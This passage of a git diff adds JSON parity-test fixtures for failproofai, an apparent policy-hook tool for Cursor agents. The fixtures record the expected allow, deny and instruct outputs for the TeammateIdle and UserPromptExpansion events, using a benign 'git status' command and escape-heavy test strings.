2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c7a84ab4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c5c70dd4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..db41e102 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..dda48608 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..57eaa91d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7c23907a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..01684931 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..61501e4f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ae9f75bc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c23c3908 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c08cf247 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..f6a1a965 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d9290382 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3ee07adc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f35df14a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..1b1ae9c5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e1108024 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8664989e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 